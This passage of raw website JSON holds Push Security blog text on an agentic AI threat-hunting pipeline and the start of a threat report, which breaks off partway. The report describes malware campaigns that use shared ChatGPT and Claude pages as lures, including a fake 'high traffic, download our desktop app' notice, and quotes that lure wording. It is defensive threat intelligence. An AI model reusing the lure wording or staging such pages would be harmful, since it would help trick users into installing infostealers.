","installfix",{"sys":36697,"__typename":1429,"title":13335,"slug":13338},{"id":12509},{"sys":36699,"__typename":1429,"title":11409,"slug":361},{"id":8411},{"sys":36701,"__typename":1429,"title":36702,"slug":36703},{"id":33802},"ConsentFix: Analyzing a browser-native ClickFix-style attack that hijacks OAuth consent grants","consentfix",{"sys":36705,"__typename":1429,"title":36706,"slug":36707},{"id":33828},"Google Search malvertising campaign continues, now impersonating Ahrefs","google-search-malvertising-campaign-continues-now-impersonating-ahrefs",{"sys":36709,"__typename":1429,"title":36710,"slug":36711},{"id":33852},"Uncovering a Calendly-themed phishing campaign targeting business ad manager accounts","uncovering-a-calendly-themed-phishing-campaign",{"sys":36713,"__typename":1429,"title":36714,"slug":36715},{"id":33939},"Our design philosophy: Detecting what matters","our-design-philosophy-detecting-what-matters",[36717,36738,36741,36773,36780,36785,36793,36801,36815,36822],{"sys":36718,"__typename":5503,"content":36719,"name":36737,"title":59},{"id":33704},{"json":36720},{"nodeType":1382,"data":36721,"content":36722},{},[36723,36730],{"nodeType":866,"data":36724,"content":36725},{},[36726],{"nodeType":865,"value":36727,"marks":36728,"data":36729},"In this article, we’ll outline how Push uses AI agents as a force multiplier for identifying emerging threats that target organizations via the browser — think: ClickFix, vibecoded phishing sites, AiTM kits, cloned login pages, ConsentFix attacks, malicious OAuth apps, device code phishing, sites impersonating Claude Code installers, etc. — and share what we’ve learned. ",[],{},{"nodeType":866,"data":36731,"content":36732},{},[36733],{"nodeType":865,"value":36734,"marks":36735,"data":36736},"We’ll cover the architectural decisions we made that enable the successful implementation of agents and some emerging best practices we’ve identified; discuss why our hunts focus on extracting techniques, not indicators; and illustrate how Push customers are benefitting from this agentic pipeline.",[],{},"Agentic Threat Hunting Blog IB1",{"sys":36739,"__typename":1390,"title":8396,"caption":8397,"layoutMode":59,"file":36740},{"id":8079},{"url":8399,"width":8400,"height":8401},{"sys":36742,"__typename":5503,"content":36743,"name":36772,"title":59},{"id":33878},{"json":36744},{"nodeType":1382,"data":36745,"content":36746},{},[36747,36765],{"nodeType":866,"data":36748,"content":36749},{},[36750,36754,36761],{"nodeType":865,"value":36751,"marks":36752,"data":36753},"Push researchers are seeing ",[],{},{"nodeType":889,"data":36755,"content":36756},{"uri":13633},[36757],{"nodeType":865,"value":36758,"marks":36759,"data":36760},"extensive evidence of LLM use",[],{},{"nodeType":865,"value":36762,"marks":36763,"data":36764}," in attacks we detect, from LLM-generated phishing kits and tools to vibe-coded cloned pages, demonstrating how much adversaries have embraced these tools to expedite their work. ",[],{},{"nodeType":866,"data":36766,"content":36767},{},[36768],{"nodeType":865,"value":36769,"marks":36770,"data":36771},"In particular, we’ve observed operator-gated payload delivery that greatly reduces the likelihood that malicious sites will be flagged and added to known-bad detection lists because they’re only served to active targets, using gated landing pages, anti-bot checks, and other methods to evade proactive infrastructure scanning. This reinforces the need for browser-based detection at the point the user interacts with the page.",[],{},"Agentic Threat Hunting Blog IB2",{"sys":36774,"__typename":1390,"title":36775,"caption":36776,"layoutMode":59,"file":36777},{"id":33918},"Sample detection - blog article - custom branding","Sample detection details in the Push admin console for a blocked phishing event",{"url":36778,"width":1402,"height":36779},"https://images.ctfassets.net/y1cdw1ablpvd/6k8qVn1iYXbBl6lcHvphIa/dd802537d883cf6ddafdd78034c3412a/sample_detection.png",766,{"sys":36781,"__typename":36782,"title":36783,"youTubeUrl":36784},{"id":33968},"EmbeddedVideo","Adam Bateman: Agentic AI is a Force Multiplier","https://www.youtube.com/watch?v=F5Qv-su0qQA",{"sys":36786,"__typename":1390,"title":36787,"caption":36788,"layoutMode":59,"file":36789},{"id":34195},"Dissect agent output - agentic threat hunting blog","Summary from the work of Push’s deep investigation AI agent on the initial InstallFix attack detected by Push.",{"url":36790,"width":36791,"height":36792},"https://images.ctfassets.net/y1cdw1ablpvd/6t86kpGUwCVvrJEfVic1Cr/f41986585203764155d736d26cee2176/agentic_summary_example_installfix.png",1998,1428,{"sys":36794,"__typename":1390,"title":36795,"caption":36796,"layoutMode":59,"file":36797},{"id":34301},"Detection engine diagram - agentic threat blog","The Push detection engine combines deep browser telemetry with agentic workflows to rapidly respond to emerging threats.  ",{"url":36798,"width":36799,"height":36800},"https://images.ctfassets.net/y1cdw1ablpvd/1zbE1t82gPo7pgqkAayTcZ/72046ea5db9b80c77053343223025163/platform_diagram_v3.png",1134,762,{"sys":36802,"__typename":5503,"content":36803,"name":36814,"title":59},{"id":34338},{"json":36804},{"data":36805,"content":36806,"nodeType":1382},{},[36807],{"data":36808,"content":36809,"nodeType":866},{},[36810],{"data":36811,"marks":36812,"value":36813,"nodeType":865},{},[],"Use agents as an excuse to operationalize your internal knowledge once and for all. Every security team has a venerable silo of knowledge — that one person who just knows how to do that one major thing. Now, that can be an AI resource accessible to all, at any time, whenever you need it most.","Agentic Threat Hunting Blog IB4",{"sys":36816,"__typename":1390,"title":36817,"caption":36818,"layoutMode":59,"file":36819},{"id":34392},"Learning loops diagram - agentic threat blog","Two learning loops for known and unknown threats create a compounding effect for Push’s ability to defend against browser-based attacks.",{"url":36820,"width":36821,"height":36779},"https://images.ctfassets.net/y1cdw1ablpvd/6TQdqvjhG4AYHITcR1MV9s/b1e1c337f50005186f6022004543023b/learning_loops_v3.png",1001,{"sys":36823,"__typename":1414,"type":1415,"ctaText":36824,"buttonLabel":33569,"buttonColour":1418,"buttonUrl":36825},{"id":34471},"Book a demo to learn more about our agentic threat hunting capabilities and how they can benefit your security team.","https://site.dev.pushsecurity.com/demo/",{"items":36827},[],{},"How we built an agentic threat hunting pipeline at Push",{"items":36831},[36832,37400,38203],{"__typename":1429,"sys":36833,"content":36835,"title":37387,"synopsis":37388,"hashTags":59,"publishedDate":3347,"slug":37389,"tagsCollection":37390,"authorsCollection":37396},{"id":36834},"2nQU0gDEqgarstvFMqFTzn",{"json":36836},{"data":36837,"content":36838,"nodeType":1382},{},[36839,36846,36853,36873,36881,36888,36896,36899,36906,36913,36931,36938,36946,36953,36960,36967,36974,36980,36983,36990,36997,37004,37023,37030,37037,37044,37051,37058,37065,37072,37079,37097,37104,37111,37118,37121,37128,37135,37142,37149,37155,37162,37169,37176,37183,37189,37196,37203,37210,37217,37239,37246,37253,37260,37267,37283,37290,37297,37304,37311,37317,37324,37331,37338,37344,37347,37354,37371],{"data":36840,"content":36841,"nodeType":866},{},[36842],{"data":36843,"marks":36844,"value":36845,"nodeType":865},{},[],"What would it take to vibecode your own AI-driven threat hunting pipeline? ",{"data":36847,"content":36848,"nodeType":866},{},[36849],{"data":36850,"marks":36851,"value":36852,"nodeType":865},{},[],"The commercial models are right there. You’ve probably got a spare weekend coming up, a really nice espresso machine, and a few bucks for tokens. (Is there already an HGTV series on this?)",{"data":36854,"content":36855,"nodeType":866},{},[36856,36860,36869],{"data":36857,"marks":36858,"value":36859,"nodeType":865},{},[],"We recently published a ",{"data":36861,"content":36863,"nodeType":889},{"uri":36862},"https://pushsecurity.com/blog/can-ai-replace-a-threat-researcher-what-we-learned-building-an-agentic-threat-hunting-pipeline",[36864],{"data":36865,"marks":36866,"value":36868,"nodeType":865},{},[36867],{"type":943},"detailed look",{"data":36870,"marks":36871,"value":36872,"nodeType":865},{},[]," at how we use AI agents as a force multiplier for Push’s threat hunting and detection engineering capabilities.One intriguing detail you might have noticed in that article is that at Push, we treat commercial AI models as commoditized infrastructure, akin to cloud computing.",{"data":36874,"content":36875,"nodeType":866},{},[36876],{"data":36877,"marks":36878,"value":36880,"nodeType":865},{},[36879],{"type":926},"So it’s a cheeky question, but a fair one, because if Push is using commercial models, what exactly are you paying for?",{"data":36882,"content":36883,"nodeType":866},{},[36884],{"data":36885,"marks":36886,"value":36887,"nodeType":865},{},[],"It turns out that the models are the easiest things to replace, and in fact we swap out different models with little impact on detection performance. What’s much harder to build is the expertise: the technical knowledge of various attack techniques, the instrumentation in the browser that produces the structured telemetry, and the enforcement layer that turns detections into real-time protection.",{"data":36889,"content":36890,"nodeType":866},{},[36891],{"data":36892,"marks":36893,"value":36895,"nodeType":865},{},[36894],{"type":926},"Let’s break it down.",{"data":36897,"content":36898,"nodeType":972},{},[],{"data":36900,"content":36901,"nodeType":981},{},[36902],{"data":36903,"marks":36904,"value":36905,"nodeType":865},{},[],"The promise and the perils of threat hunting (and where agentic capabilities fit in)",{"data":36907,"content":36908,"nodeType":866},{},[36909],{"data":36910,"marks":36911,"value":36912,"nodeType":865},{},[],"Threat hunting — the practice of proactively searching for threats that haven’t been seen before — is one of the most effective practices in security and one of the least accessible.",{"data":36914,"content":36915,"nodeType":866},{},[36916,36919,36927],{"data":36917,"marks":36918,"value":1449,"nodeType":865},{},[],{"data":36920,"content":36922,"nodeType":889},{"uri":36921},"https://www.sans.org/white-papers/sans-2025-threat-hunting-survey-advancements-threat-hunting-amid-ai-cloud-challenges",[36923],{"data":36924,"marks":36925,"value":36926,"nodeType":865},{},[],"SANS 2025 Threat Hunting Survey",{"data":36928,"marks":36929,"value":36930,"nodeType":865},{},[]," found that 61% of organizations cite staffing shortages as the top barrier to running a hunting program. A single manual hunt takes 10 to 20 hours of sustained analyst focus — forming hypotheses about what an attacker might be doing, querying data sources sequentially, correlating results by hand, documenting findings. Many organizations hunt infrequently or not at all.",{"data":36932,"content":36933,"nodeType":866},{},[36934],{"data":36935,"marks":36936,"value":36937,"nodeType":865},{},[],"Threat hunting in the browser poses specific challenges: The stakes are high as AI-enabled attacks accelerate, and the availability of training and knowledge is low. ",{"data":36939,"content":36940,"nodeType":866},{},[36941],{"data":36942,"marks":36943,"value":36945,"nodeType":865},{},[36944],{"type":926},"AiTM phishing kits that manipulate DOM elements in real time, ClickFix variants that inject malicious payloads through clipboard manipulation, ConsentFix attacks that abuse OAuth consent flows, credential harvesting on pages that rotate infrastructure hourly — these techniques don't map cleanly onto the endpoint-focused threat models most SOC teams were built around, or the data sources they’re used to interrogating. ",{"data":36947,"content":36948,"nodeType":866},{},[36949],{"data":36950,"marks":36951,"value":36952,"nodeType":865},{},[],"Even well-staffed security organizations tend to have a blind spot in the browser layer because the expertise required to hunt there is specialized and the telemetry to support it hasn't historically been available.",{"data":36954,"content":36955,"nodeType":866},{},[36956],{"data":36957,"marks":36958,"value":36959,"nodeType":865},{},[],"Using AI agents to hunt for browser-based threats promises a net-new capability for smaller teams without dedicated threat hunting staff. For larger enterprises, the value of an agentic threat hunting capability lies in its ability to provide (or augment) expertise on emerging attack methods.",{"data":36961,"content":36962,"nodeType":866},{},[36963],{"data":36964,"marks":36965,"value":36966,"nodeType":865},{},[],"Most SOC teams have deep expertise at the endpoint, IdP, cloud, and network layers, built over years of working with those systems’ telemetry and workflows. But browser-based attacks operate in a different domain with different telemetry, different TTPs, and a different evasion model.",{"data":36968,"content":36969,"nodeType":866},{},[36970],{"data":36971,"marks":36972,"value":36973,"nodeType":865},{},[],"A capability like Push’s provides an answer to these three hurdles: providing expertise, without any additional burden on staff, and at a speed that matches the acceleration we’re currently witnessing in browser-based attack techniques.",{"data":36975,"content":36979,"nodeType":912},{"target":36976},{"sys":36977},{"id":36978,"type":909,"linkType":910},"1uw9eFMPDdrevj26fyix5f",[],{"data":36981,"content":36982,"nodeType":972},{},[],{"data":36984,"content":36985,"nodeType":981},{},[36986],{"data":36987,"marks":36988,"value":36989,"nodeType":865},{},[],"This isn’t chatbot log analysis",{"data":36991,"content":36992,"nodeType":866},{},[36993],{"data":36994,"marks":36995,"value":36996,"nodeType":865},{},[],"When you hear “AI-powered threat hunting,” you might imagine an AI copilot sitting on top of your SIEM, summarizing alerts and correlating log entries faster than a human analyst could. It’s a fair assumption because many products use this kind of implementation, and tools like those are useful.",{"data":36998,"content":36999,"nodeType":866},{},[37000],{"data":37001,"marks":37002,"value":37003,"nodeType":865},{},[],"That’s not what we built at Push.",{"data":37005,"content":37006,"nodeType":866},{},[37007,37011,37019],{"data":37008,"marks":37009,"value":37010,"nodeType":865},{},[],"If you’re not familiar with Push, it’s a browser security platform deployed as an extension that detects and stops advanced browser-based attacks while also providing visibility and control over shadow apps and identities, including AI usage. You can use the same telemetry Push provides for these use cases to ",{"data":37012,"content":37014,"nodeType":889},{"uri":37013},"https://pushsecurity.com/blog/why-you-cant-control-ai-without-being-in-the-browser/",[37015],{"data":37016,"marks":37017,"value":37018,"nodeType":865},{},[],"perform data loss and insider risk investigations",{"data":37020,"marks":37021,"value":37022,"nodeType":865},{},[],", too.",{"data":37024,"content":37025,"nodeType":866},{},[37026],{"data":37027,"marks":37028,"value":37029,"nodeType":865},{},[],"What we built is an agentic threat hunting and detection pipeline where AI agents collaborate with in-house threat researchers to continuously hunt for emerging browser-based attack techniques across our customer base, and then automatically write and deploy new detections.",{"data":37031,"content":37032,"nodeType":866},{},[37033],{"data":37034,"marks":37035,"value":37036,"nodeType":865},{},[],"Our pipeline differs from AI-enabled log analysis in three key ways:",{"data":37038,"content":37039,"nodeType":1317},{},[37040],{"data":37041,"marks":37042,"value":37043,"nodeType":865},{},[],"A new telemetry source is the foundation",{"data":37045,"content":37046,"nodeType":866},{},[37047],{"data":37048,"marks":37049,"value":37050,"nodeType":865},{},[],"First, the Push platform generates its own telemetry. The Push browser extension operates as a flight recorder, locally collecting browser session metadata that doesn’t exist anywhere else in the security stack — details like DOM structure, script execution contexts, redirect chains, credential entry behavior, OAuth consent flows, and network requests observed from inside the session. ",{"data":37052,"content":37053,"nodeType":866},{},[37054],{"data":37055,"marks":37056,"value":37057,"nodeType":865},{},[],"This metadata is stored locally and only queried during targeted threat hunts, preserving user and customer privacy.",{"data":37059,"content":37060,"nodeType":1317},{},[37061],{"data":37062,"marks":37063,"value":37064,"nodeType":865},{},[],"Proactive hunting, not just reactive triage",{"data":37066,"content":37067,"nodeType":866},{},[37068],{"data":37069,"marks":37070,"value":37071,"nodeType":865},{},[],"The pipeline also hunts proactively rather than triaging reactively, as with log analysis agents.",{"data":37073,"content":37074,"nodeType":866},{},[37075],{"data":37076,"marks":37077,"value":37078,"nodeType":865},{},[],"Push agents generate hypotheses, craft queries against the telemetry corpus, run them across millions of browsers, and triage the results — searching for techniques that haven't triggered any existing alert or rule. ",{"data":37080,"content":37081,"nodeType":866},{},[37082,37085,37093],{"data":37083,"marks":37084,"value":1449,"nodeType":865},{},[],{"data":37086,"content":37087,"nodeType":889},{"uri":7712},[37088],{"data":37089,"marks":37090,"value":37092,"nodeType":865},{},[37091],{"type":943},"InstallFix discovery",{"data":37094,"marks":37095,"value":37096,"nodeType":865},{},[]," described in the original agentic threat hunting article is the clearest example: The Push pipeline surfaced 12 meaningful results from trillions of browser events, and one of them was a novel attack technique. That's threat hunting at machine scale, not just alert triage.",{"data":37098,"content":37099,"nodeType":1317},{},[37100],{"data":37101,"marks":37102,"value":37103,"nodeType":865},{},[],"Not just analysis, but new detections, too",{"data":37105,"content":37106,"nodeType":866},{},[37107],{"data":37108,"marks":37109,"value":37110,"nodeType":865},{},[],"Finally, the output isn’t (only) a natural-language summary of what the agents found. It’s a production detection rule that ships to every Push customer and wires into real-time enforcement controls defined by Push admins. ",{"data":37112,"content":37113,"nodeType":866},{},[37114],{"data":37115,"marks":37116,"value":37117,"nodeType":865},{},[],"The pipeline's job isn’t to help you understand an alert faster. Rather, it’s producing detection rules that didn't exist before at a speed that enables those detections to address emerging attack techniques and organization-specific campaigns within minutes.",{"data":37119,"content":37120,"nodeType":972},{},[],{"data":37122,"content":37123,"nodeType":981},{},[37124],{"data":37125,"marks":37126,"value":37127,"nodeType":865},{},[],"Agentic threat hunting as core product infrastructure",{"data":37129,"content":37130,"nodeType":866},{},[37131],{"data":37132,"marks":37133,"value":37134,"nodeType":865},{},[],"The nice thing about commercially available AI models is that they’re really good at understanding web code. That arcane Javascript function you’d have to look up in the docs? They recognize it immediately. That makes them perfectly suited to provide domain knowledge that can be harnessed with the right security expertise.",{"data":37136,"content":37137,"nodeType":866},{},[37138],{"data":37139,"marks":37140,"value":37141,"nodeType":865},{},[],"Using commercial models in our agentic detection pipeline then becomes a force multiplier for our research team’s understanding of TTPs — not a security engine in and of itself.",{"data":37143,"content":37144,"nodeType":866},{},[37145],{"data":37146,"marks":37147,"value":37148,"nodeType":865},{},[],"The four core components of our agentic pipeline can’t be replaced by using the same models we do, because the value is not in the models, but in the product infrastructure, product telemetry, and research expertise those models capitalize on.",{"data":37150,"content":37154,"nodeType":912},{"target":37151},{"sys":37152},{"id":37153,"type":909,"linkType":910},"7oif7PEEC3UMoTqVfRz3ZJ",[],{"data":37156,"content":37157,"nodeType":1317},{},[37158],{"data":37159,"marks":37160,"value":37161,"nodeType":865},{},[],"Component 1: The flight recorder",{"data":37163,"content":37164,"nodeType":866},{},[37165],{"data":37166,"marks":37167,"value":37168,"nodeType":865},{},[],"We deploy as a browser extension — not a separate browser, a proxy or an endpoint agent — which means we sit inside the browser session itself, seeing what the user sees. ",{"data":37170,"content":37171,"nodeType":866},{},[37172],{"data":37173,"marks":37174,"value":37175,"nodeType":865},{},[],"A component of the extension acts as a flight recorder, collecting and locally storing browser-level metadata: DOM elements, tab context, script execution, network traffic, user actions, credential entry, and more. This body of structured browser event metadata is the searchable landscape for every hunt.",{"data":37177,"content":37178,"nodeType":866},{},[37179],{"data":37180,"marks":37181,"value":37182,"nodeType":865},{},[],"That's a data source most security teams have never had access to. You can't get it from an endpoint agent, a network proxy, or a cloud access log, because it doesn't exist outside the browser session. Turns out, it matters more than the model itself: When the model has this full browser context — the DOM, redirect chains, user behavior — it can reason about what happened. When it has to start guessing at those details, it starts hallucinating.",{"data":37184,"content":37188,"nodeType":912},{"target":37185},{"sys":37186},{"id":37187,"type":909,"linkType":910},"6qs9xZvmKlVXOLVhFfMVFx",[],{"data":37190,"content":37191,"nodeType":1317},{},[37192],{"data":37193,"marks":37194,"value":37195,"nodeType":865},{},[],"Component 2: The internal knowledge base",{"data":37197,"content":37198,"nodeType":866},{},[37199],{"data":37200,"marks":37201,"value":37202,"nodeType":865},{},[],"As we mentioned earlier, commercial LLMs understand web code exceedingly well. What they don’t know is which patterns in that code indicate a credential-harvesting AiTM kit versus a legitimate login page, or which redirect behavior signals an InstallFix lure versus a normal marketing funnel.",{"data":37204,"content":37205,"nodeType":866},{},[37206],{"data":37207,"marks":37208,"value":37209,"nodeType":865},{},[],"That distinction comes from our internal knowledge base — years of TTP analysis, curated libraries of traces from real phishing kits encountered in the wild, and hunt parameters refined through hundreds of investigations led by our experienced human research team. ",{"data":37211,"content":37212,"nodeType":866},{},[37213],{"data":37214,"marks":37215,"value":37216,"nodeType":865},{},[],"This knowledge base also reflects a deliberate architectural choice. ",{"data":37218,"content":37219,"nodeType":7584},{},[37220],{"data":37221,"content":37222,"nodeType":866},{},[37223,37226,37232,37235],{"data":37224,"marks":37225,"value":7566,"nodeType":865},{},[],{"data":37227,"content":37228,"nodeType":889},{"uri":7569},[37229],{"data":37230,"marks":37231,"value":7574,"nodeType":865},{},[],{"data":37233,"marks":37234,"value":7578,"nodeType":865},{},[],{"data":37236,"marks":37237,"value":7583,"nodeType":865},{},[37238],{"type":898},{"data":37240,"content":37241,"nodeType":866},{},[37242],{"data":37243,"marks":37244,"value":37245,"nodeType":865},{},[],"Our knowledge base encodes behavioral patterns and TTP signatures instead, which means detections remain effective even as infrastructure rotates underneath them.",{"data":37247,"content":37248,"nodeType":866},{},[37249],{"data":37250,"marks":37251,"value":37252,"nodeType":865},{},[],"We've also learned that even high-quality security data isn’t AI-ready out of the box. Structuring data and knowledge for agent consumption requires dedicated engineering. ",{"data":37254,"content":37255,"nodeType":866},{},[37256],{"data":37257,"marks":37258,"value":37259,"nodeType":865},{},[],"Our researchers have spent that time identifying, naming, and documenting browser-based attack techniques and encoding that knowledge into a format that agents can operationalize and extend.",{"data":37261,"content":37262,"nodeType":1317},{},[37263],{"data":37264,"marks":37265,"value":37266,"nodeType":865},{},[],"Component 3: The thoughtfully organized agents",{"data":37268,"content":37269,"nodeType":866},{},[37270,37274,37279],{"data":37271,"marks":37272,"value":37273,"nodeType":865},{},[],"The engineering challenge isn't getting a model to analyze one browser event — it's keeping it reliable across thousands of events. If you fill a context window with too much data and the model loses the ability to discern signal from noise, you get something called ",{"data":37275,"marks":37276,"value":37278,"nodeType":865},{},[37277],{"type":926},"context rot",{"data":37280,"marks":37281,"value":37282,"nodeType":865},{},[],". That's been our primary engineering focus over the last quarter: not making agents objectively smarter, but keeping them focused to improve their outputs.",{"data":37284,"content":37285,"nodeType":866},{},[37286],{"data":37287,"marks":37288,"value":37289,"nodeType":865},{},[],"Our solution is hierarchy. A hunting agent oversees the overall hunt — it understands the query and knows what it's looking for. It dispatches an army of analysis agents, each picking up a single result trace, the term we use for a series of events in a session or tab context. ",{"data":37291,"content":37292,"nodeType":866},{},[37293],{"data":37294,"marks":37295,"value":37296,"nodeType":865},{},[],"But even a single trace can contain thousands of events, so each analysis agent breaks it down into blocks, analyzes and summarizes each one, looks for connections between them, and then bubbles up only the interesting signal. Layer by layer, the context narrows until what reaches the top is workable.",{"data":37298,"content":37299,"nodeType":866},{},[37300],{"data":37301,"marks":37302,"value":37303,"nodeType":865},{},[],"Different agents handle hypothesis generation, query crafting, triage, deep investigation, detection authoring, and meta-analysis for quality control. We back-test detections against real data before they ship. This segmentation and hierarchy took significant trial and error — you can swap out almost any individual model in the chain, but the hierarchy itself is the thing that ultimately makes it work.",{"data":37305,"content":37306,"nodeType":866},{},[37307],{"data":37308,"marks":37309,"value":37310,"nodeType":865},{},[],"The consensus coming out of RSAC this year reinforces this approach. The industry's focus has shifted from “which model is the best?” to “how do we build reliable systems around these models?” ",{"data":37312,"content":37316,"nodeType":912},{"target":37313},{"sys":37314},{"id":37315,"type":909,"linkType":910},"4cXhgVflbtxiKs604aemSt",[],{"data":37318,"content":37319,"nodeType":1317},{},[37320],{"data":37321,"marks":37322,"value":37323,"nodeType":865},{},[],"Component 4: The response engine",{"data":37325,"content":37326,"nodeType":866},{},[37327],{"data":37328,"marks":37329,"value":37330,"nodeType":865},{},[],"Finally, a hunt without a response you can operationalize is just a report. When our agents identify a new technique, the detection they write feeds directly into the same platform that enforces real-time controls in the browser: blocking credential entry on phishing pages, intercepting clipboard injection attacks, warning users during suspicious OAuth consent flows, etc.",{"data":37332,"content":37333,"nodeType":866},{},[37334],{"data":37335,"marks":37336,"value":37337,"nodeType":865},{},[],"Detection and response share the same infrastructure, which means a new technique can go seamlessly from hunt analysis to production enforcement.",{"data":37339,"content":37343,"nodeType":912},{"target":37340},{"sys":37341},{"id":37342,"type":909,"linkType":910},"vIrkHJ4ec1I41nXeRHfT2",[],{"data":37345,"content":37346,"nodeType":972},{},[],{"data":37348,"content":37349,"nodeType":981},{},[37350],{"data":37351,"marks":37352,"value":37353,"nodeType":865},{},[],"Learn more about Push and how we develop new detections",{"data":37355,"content":37356,"nodeType":866},{},[37357,37361,37368],{"data":37358,"marks":37359,"value":37360,"nodeType":865},{},[],"For a deeper look at how the pipeline works in practice, including a step-by-step walkthrough of how we discovered a novel InstallFix attack targeting NotebookLM users, the two-loop detection architecture that creates a compounding effect for customers, and the emerging best practices we've identified for using AI agents in security operations, check out our companion article: ",{"data":37362,"content":37363,"nodeType":889},{"uri":36862},[37364],{"data":37365,"marks":37366,"value":37367,"nodeType":865},{},[],"Can AI replace a threat researcher? What we learned building an agentic threat hunting pipeline at Push",{"data":37369,"marks":37370,"value":1615,"nodeType":865},{},[],{"data":37372,"content":37373,"nodeType":866},{},[37374,37378,37384],{"data":37375,"marks":37376,"value":37377,"nodeType":865},{},[],"If you'd like to see how our agentic detection capabilities apply to your environment, ",{"data":37379,"content":37380,"nodeType":889},{"uri":1372},[37381],{"data":37382,"marks":37383,"value":14066,"nodeType":865},{},[],{"data":37385,"marks":37386,"value":1615,"nodeType":865},{},[],"No, you can’t just vibecode an AI-driven threat hunting pipeline","Push uses commercial AI models to deliver agentic threat hunting. Can’t you just build something yourself with those same models? Well, no.","why-you-cant-vibecode-an-ai-driven-threat-hunting-pipeline",{"items":37391},[37392,37394],{"sys":37393,"name":297},{"id":2310},{"sys":37395,"name":7796},{"id":7795},{"items":37397},[37398],{"fullName":6500,"firstName":6501,"jobTitle":4616,"profilePicture":37399},{"url":6503},{"__typename":1429,"sys":37401,"content":37403,"title":38185,"synopsis":38186,"hashTags":59,"publishedDate":38187,"slug":38188,"tagsCollection":38189,"authorsCollection":38195},{"id":37402},"Gcg7PGuICrlRcqq1QFXxH",{"json":37404},{"data":37405,"content":37406,"nodeType":1382},{},[37407,37414,37421,37452,37459,37465,37471,37483,37486,37494,37510,37517,37523,37530,37537,37543,37546,37554,37561,37567,37573,37580,37587,37605,37611,37614,37622,37640,37646,37653,37656,37664,37671,37678,37683,37689,37731,37738,37741,37749,37756,37763,37806,37813,37844,37851,37894,37901,37904,37912,37930,37937,37945,37960,37967,37984,37991,37994,38000,38006,38022,38025,38033,38052,38059,38179],{"data":37408,"content":37409,"nodeType":866},{},[37410],{"data":37411,"marks":37412,"value":37413,"nodeType":865},{},[],"Shared conversations on AI chatbot platforms have become the latest delivery mechanism for malware campaigns targeting macOS and Windows users. Attackers create content on platforms like ChatGPT and Claude that appears to offer installation guidance or service updates, then drive traffic to it via search engine results in the form of malvertising and SEO poisoning.  ",{"data":37415,"content":37416,"nodeType":866},{},[37417],{"data":37418,"marks":37419,"value":37420,"nodeType":865},{},[],"The content lives on chatgpt.com or claude.ai — domains that users and security tools trust implicitly — so the attack bypasses URL reputation checks before the victim even reaches the malicious payload.",{"data":37422,"content":37423,"nodeType":866},{},[37424,37428,37436,37440,37448],{"data":37425,"marks":37426,"value":37427,"nodeType":865},{},[],"Several variants of this technique have been ",{"data":37429,"content":37431,"nodeType":889},{"uri":37430},"https://www.bleepingcomputer.com/news/security/hackers-abuse-google-ads-claudeai-chats-to-push-mac-malware/",[37432],{"data":37433,"marks":37434,"value":37435,"nodeType":865},{},[],"reported over the past few months",{"data":37437,"marks":37438,"value":37439,"nodeType":865},{},[],". The earliest examples used shared Claude.ai conversations disguised as installation guides — complete with fake \"Apple Support\" attribution — that walked users through opening a terminal and pasting a curl command that downloaded and executed an infostealer. ",{"data":37441,"content":37443,"nodeType":889},{"uri":37442},"https://www.kaspersky.com/blog/share-chatgpt-chat-clickfix-macos-amos-infostealer/54928/",[37444],{"data":37445,"marks":37446,"value":37447,"nodeType":865},{},[],"Kaspersky documented a parallel campaign",{"data":37449,"marks":37450,"value":37451,"nodeType":865},{},[]," using shared ChatGPT conversations to deliver the AMOS (Atomic macOS Stealer) via the same paste-this-command social engineering pattern. ",{"data":37453,"content":37454,"nodeType":866},{},[37455],{"data":37456,"marks":37457,"value":37458,"nodeType":865},{},[],"Push has detected a new variant that goes beyond the previously reported technique of embedding terminal commands in shared conversations: the attacker has used ChatGPT's code rendering feature to build a fully designed fake page that mimics a ChatGPT service disruption, redirecting victims to a convincing clone of ChatGPT's download page that delivers a malicious executable. ",{"data":37460,"content":37464,"nodeType":912},{"target":37461},{"sys":37462},{"id":37463,"type":909,"linkType":910},"5lz9zt223pecGvdaqdvSTQ",[],{"data":37466,"content":37470,"nodeType":912},{"target":37467},{"sys":37468},{"id":37469,"type":909,"linkType":910},"51GomAj3VOjnbmgd1DWYu0",[],{"data":37472,"content":37473,"nodeType":866},{},[37474,37479],{"data":37475,"marks":37476,"value":37478,"nodeType":865},{},[37477],{"type":926},"This is a live campaign which is still generating detections across our customer base at the time of writing. ",{"data":37480,"marks":37481,"value":37482,"nodeType":865},{},[],"Push customers are already protected and do not need to take further action. The malicious page URLs can be found at the end of this report but are not exhaustive and are liable to change. ",{"data":37484,"content":37485,"nodeType":972},{},[],{"data":37487,"content":37488,"nodeType":981},{},[37489],{"data":37490,"marks":37491,"value":37493,"nodeType":865},{},[37492],{"type":926},"A fake page, not a fake conversation",{"data":37495,"content":37496,"nodeType":866},{},[37497,37501,37506],{"data":37498,"marks":37499,"value":37500,"nodeType":865},{},[],"Previously reported variants relied on shared ",{"data":37502,"marks":37503,"value":37505,"nodeType":865},{},[37504],{"type":898},"conversations",{"data":37507,"marks":37508,"value":37509,"nodeType":865},{},[]," — the attacker created a chat that contained step-by-step instructions for the victim to follow, typically involving pasting a command into their terminal. The social engineering was conversational: the \"AI assistant\" appeared to be helpfully guiding the user through an installation process.",{"data":37511,"content":37512,"nodeType":866},{},[37513],{"data":37514,"marks":37515,"value":37516,"nodeType":865},{},[],"But now, rather than a shared conversation, the attacker has used ChatGPT's code rendering feature to create a fully designed, self-contained web page hosted at a chatgpt.com/s/ URL. It renders as what appears to be a ChatGPT service disruption notice:",{"data":37518,"content":37522,"nodeType":912},{"target":37519},{"sys":37520},{"id":37521,"type":909,"linkType":910},"1O9gyQab81SnbxhQp2aa5Z",[],{"data":37524,"content":37525,"nodeType":866},{},[37526],{"data":37527,"marks":37528,"value":37529,"nodeType":865},{},[],"A professional-looking error message reads: \"We're experiencing high traffic right now. Our website is temporarily unavailable due to a large number of users. Download our desktop app to continue.\" A prominent download button sits below.",{"data":37531,"content":37532,"nodeType":866},{},[37533],{"data":37534,"marks":37535,"value":37536,"nodeType":865},{},[],"The \"Show code\" toggle at the top of the page reveals what's actually happening — the entire thing is custom HTML and CSS, authored to mimic a ChatGPT system notice, rendered using ChatGPT's code output feature. A web page inside a web page, hosted on a domain that every URL reputation system in the world considers safe.",{"data":37538,"content":37542,"nodeType":912},{"target":37539},{"sys":37540},{"id":37541,"type":909,"linkType":910},"4kQTfxB3aVH9W9BeYOuljP",[],{"data":37544,"content":37545,"nodeType":972},{},[],{"data":37547,"content":37548,"nodeType":981},{},[37549],{"data":37550,"marks":37551,"value":37553,"nodeType":865},{},[37552],{"type":926},"The download 